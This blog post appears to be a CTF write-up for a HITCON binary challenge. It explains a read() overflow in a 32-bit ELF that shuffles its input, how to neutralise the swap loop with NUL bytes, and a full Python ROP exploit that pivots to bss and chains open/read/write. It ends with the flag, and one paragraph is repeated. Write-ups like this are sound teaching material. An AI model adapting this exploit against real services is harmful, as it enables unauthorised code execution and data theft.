Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
char buffer[0x80]; [EBP-0x60] size = read_80_bytes(buffer); for ( i = 0; i < (signed int)size; ++i ) { rnd = rand(); v4 = rnd % (i + 1); v3 = buffer[i]; buffer[i] = buffer[v4]; buffer[v4] = v3; }Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.
Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python import struct from socket import * ip = '127.0.0.1' ip = '210.61.8.96' port = 51342 soc = socket(AF_INET, SOCK_STREAM) soc.connect((ip,port)) payload = struct.pack("<I", 0x00) * 26 payload += struct.pack("<I", 0x0804a040) # bss payload += struct.pack("<I", 0x080483e0) # read@plt payload += struct.pack("<I", 0x0804865a) # leave ; ret payload += struct.pack("<I", 0x00) # stdin payload += struct.pack("<I", 0x0804a040) # bss payload += struct.pack("<I", 1024) # size # STAGE 2 payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction payload += struct.pack("<I", 0x08048420) # open@plt payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret payload += struct.pack("<I", 0x080487d0) # Pointer to File payload += struct.pack("<I", 0x00) # READ mode payload += struct.pack("<I", 0x080483e0) # read@plt payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret payload += struct.pack("<I", 0x3) # Descriptor payload += struct.pack("<I", 0x0804a040+64) # Buffer payload += struct.pack("<I", 64) # Size payload += struct.pack("<I", 0x08048450) # write@plt payload += struct.pack("<I", 0x42424242) # ret payload += struct.pack("<I", 0x1) # stdout payload += struct.pack("<I", 0x0804a040+64) # Buffer payload += struct.pack("<I", 64) # Size soc.send(payload + '\n') print soc.recv(128)Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}
No comments:
Post a Comment